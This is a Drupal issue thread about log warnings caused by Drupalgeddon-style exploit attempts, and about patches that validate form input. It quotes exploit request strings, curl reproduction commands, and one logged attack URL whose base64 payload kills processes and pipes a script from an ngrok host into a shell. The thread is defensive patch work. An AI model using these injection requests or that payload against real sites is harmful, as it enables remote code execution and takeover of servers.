Notices/warnings from attempted exploitation of SA-CORE-2018-002 and SA-CORE-2018-004

Same here. Drupal updated to 7.59.

Me too. Facing a lot of notice in watchdog with the query as per below:

user/password&name[%23post_render][]=system&name[%23markup]=ps%20x&name[%23type]=markup

This might be an attempt to gain access to try to log in using the fake username.

The error provided by the watchdog as per below:

Warning: mb_strlen() expects parameter 1 to be string, array given in drupal_strlen() (line 482 of /var/www/includes/unicode.inc).

And it also produce additional notice as per below:

Warning: trim() expects parameter 1 to be string, array given in user_pass_validate() (line 69 of /var/www/modules/user/user.pages.inc).

It would be nice to clean up the logs, setting this to the 7.x branch as that is where the work will take place.

Getting the same messages in log. Any update on this?

Just started getting these as well.

I know editing Drupal core code is frowned upon, but I might have to go in and add a @ before the relevant commands, just to not clutter up my logs.

Is there anything else which should be done?

I am facing the same issue.
Is it good to ignore the issue or do we need to tackle it in some way?

I am worried because in the above thread it is said that it is to exploit SA-CORE-2018-002 and SA-CORE-2018-004

Since the mentioned security updates took care of the attack I think it is save to "ignore" the warnings by somehow testing for valid elements.

There is a D8 issue #2973871 which proposes

 if (!is_string($value)) {
      $form_state->setError($element, t('The email address is not valid.'));
      return;
    }

Maybe we could do something similiar in D7 (like proposed by Rob C in the user_registrationpassword issue #2991083)?

I’ve done some investigation specifically into the following message:

Warning: trim() expects parameter 1 to be string, array given in user_pass_validate() (line 69 of /home/user/public_html/modules/user/user.pages.inc).

This is caused when the user form value from the registration form is passed as an array. This sets $form_state['values']['name'] to an array which is passed to user_pass_validate in user.pages.inc. The error then occurs on the line $name = trim($form_state['values']['name']); as the trim function can’t be called on arrays.

The error can be reproduced with the following request:

curl -g --data "form_id=user_pass&_triggering_element_name=name" "https://www.example.com/?q=/user/password&name[%23post_render][0]=printf&name[%23markup]=ABCZ"

I believe the solution is as gngn mentions to check if $form_state['values']['name'] is a string and only perform these checks if it is. If it’s not a string I’m not completely sure what the best response is, but I’ve gone for raising an error ‘An illegal value has been detected. Please contact the site administrator.’

Please find a patch attached for testing. Please note it only resolves this single error, there are further errors which I will review separately.

Further to comment #12, I've looked into the following notices

Notice: Undefined index: #prefix in file_ajax_upload() (line 287 of /var/www/html/modules/file/file.module).                                  
 Notice: Undefined index: #suffix in file_ajax_upload() (line 284 of /var/www/html/modules/file/file.module)

These originate in file_ajax_upload() where the form array #prefix and #suffix keys are appended to when the don't exist in the current form.

The issue can be reproduced with the following:
curl -kg --data "form_build_id=form-yRJ3qIMgusY4thZ9gQCubKoZbgsgWQbcHRmEXNWIa3w" "https://www.example.com/?q=file/ajax/name/%23value/form-yRJ3qIMgusY4thZ9gQCubKoZbgsgWQbcHRmEXNWIa3w"

Where the form build id must be replaced by one already in the form cache (e.g. by running curl -g --data "form_id=user_pass&_triggering_element_name=name" "https://www.example.com/?q=/user/password&name[%23post_render][0]=printf&name[%23markup]=ABCZ" and using the form_build_id in response).

If the form in the case has a #prefix and a #suffix set, there won't be any error, but if it doesn't (e.g. the password form), the notices will be shown.

Looking at the form API docs, it doesn't look like #prefix and #suffix are required, so I believe the relevant fix is to check for these in file_ajax_upload() and add empty values for them prior to where they're manipulated.

I've attached a patch which does this - please note that this is a change to a reasonably important part of the Ajax functionality, so please test this thoroughly against any ajax form functionality before applying in production.

Futher to the above I've looked into the mb_strlen() expects parameter 1 to be string, array given in drupal_strlen() (line 482 of /var/www/html/includes/unicode.inc). warnings.

These originate in _form_validate where drupal_strlen() is used to check if the length of an element value is greater than the maxlength allows.

As $elements['#value'] can be an array rather than a string at this point, the above warnings are generated when the value is an array and can be reproduced with the following:

curl -g --data "form_id=user_pass&_triggering_element_name=name" "https://www.example.com/?q=/user/password&name[%23post_render][0]=printf&name[%23markup]=ABCZ"

My suggested fix is to first check if the value is a string, and if not call form_error.

I've attached a patch for this - again please note this (very slightly) alters a core part of the forms API so be careful before using this in production.

The patches in the comments above resolve all the errors raised in the original issue so I've attached a single patch containing the changes in the other 3.

Could anyone with knowledge of these areas of Drupal 7 please review the patch and let me know their thoughts/feedback?

1. +++ b/includes/form.inc
   @@ -1360,7 +1360,9 @@ function _form_validate(&$elements, &$form_state, $form_id = NULL) {
   +      if (isset($elements['#maxlength']) && !is_string($elements['#value'])) {
   

   Is it possible that $elements['#value'] can be an integer? If so, a check for is_scalar() would be better.

2. +++ b/includes/form.inc
   @@ -1360,7 +1360,9 @@ function _form_validate(&$elements, &$form_state, $form_id = NULL) {
   +      } else if (isset($elements['#maxlength']) && drupal_strlen($elements['#value']) > $elements['#maxlength']) {
   
   +++ b/modules/user/user.pages.inc
   @@ -66,20 +66,24 @@ function user_pass() {
   +  } else {
   

   Coding standards. else needs to be on the following line. else if needs to be elseif.

3. +++ b/modules/user/user.pages.inc
   @@ -66,20 +66,24 @@ function user_pass() {
    function user_pass_validate($form, &$form_state) {
   

   I think the code would be more readable if bailing out early.

   For example:

   if (!is_scalar($form_state['values']['name'])) {
     form_set_error('name', t('An illegal value has been detected. Please contact the site administrator.'));
     return;
   }
   

4. Needs tests that demonstrate the bug.

Thanks for the review @MegaChriz. I'm not totally sure this needs tests but agree with the rest of the review and have done up the changes in this patch.

I did run into issues when values are "legally" NULL. So here's another patch that checks that the values isset() before it checks for scalar values.

I also get:

Warning: mb_strlen() expects parameter 1 to be string, array given in drupal_strlen() (line 482 of /var/www/drupal7/includes/unicode.inc).

From:
https://example.com/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=echo%20-n%20%27cGtpbGwgLTkgLWYgIlwuXC8uK1xzXC5cL3xuc3NtfGlwdGFibGVzfGJhc2h8c3lzbG9nfFwuY3JvbnxcIVwhfFxbXiI7Y3VybCAtbSA2MCAtc2sgJ2h0dHA6Ly9lMDZiMTQ4Mi5uZ3Jvay5pby9mL3NlcnZlP2w9dSZyPWIxZjJlMDBkOGUwMDZiN2YxNGViZGQ1NTllOThlZDNmJmN1cmw9MScgfCBzaA==%27%20|%20base64%20-d%20|%20sh

These precede each:

Warning: trim() expects parameter 1 to be string, array given in user_pass_validate() (line 69 of /var/www/drupal7/modules/user/user.pages.inc).

Applied patch #18 on one of my production site, its totally eliminate both warning errors completely as per below:

Warning: mb_strlen() expects parameter 1 to be string, array given in drupal_strlen() (line 482 of /var/www/html/includes/unicode.inc).
Warning: trim() expects parameter 1 to be string, array given in user_pass_validate() (line 69 of /var/www/html/modules/user/user.pages.inc).

I will try to apply same patch on other production site.

Running #18 on production for more than a week now. Looks good so far.

(Added a similar patch to #2991083: PHP trim() warning in _user_registrationpassword_user_pass_validate(), when this patch is committed to core i'll commit that to the module, so it matches core again.)

Any thoughts on blocking these known exploit patterns before Drupal in .htaccess?

After applying the patch in #18, testing with known curl exploits the previous errors are not logged, but a new one is logged:

"Invalid form POST data."

I've seen modsec solutions, but they were found to be insufficient eg. https://twitter.com/CoreRuleSet/status/979198633441681408

#18 applies cleanly to 7.65

Thanks again, Joel!

Also works with PHP 5.3.3

Not the sort of thing that really needs built-in tests I feel, the curl's from #12, #13, and #14 were enough for manual testing, and the patch indeed behaves as intended, and the changes look fine to me.

+RTBC

I'm seeing this issues on Drupal 7.67. Was this patch not included in 7.67

@mcdruid, can you please add patch 18 in before tomorrows release?

Tested. Looks ok.

Please @mcdruid add this patch to next release.

Agreed. Please add the patch to Core.

Pleading to the maintainers goes on and on. Please, oh please, commit this to clean up everyone's logs.

Uploading #18 again so we can have a clean set of tests.

I think this looks pretty good.

I'm wondering whether there's more we could do in file_ajax_upload() to reject the malicious / malformed requests (the patch sets form errors in the other two functions).

I'm trying to investigate that a little further, but I'd be happy to commit this as it is and pursue the above further in a follow up.

thumbs up, looks very good!

RTBM, +1 from me for merge

Thanks everyone!

Yay! 🎉 Thank you!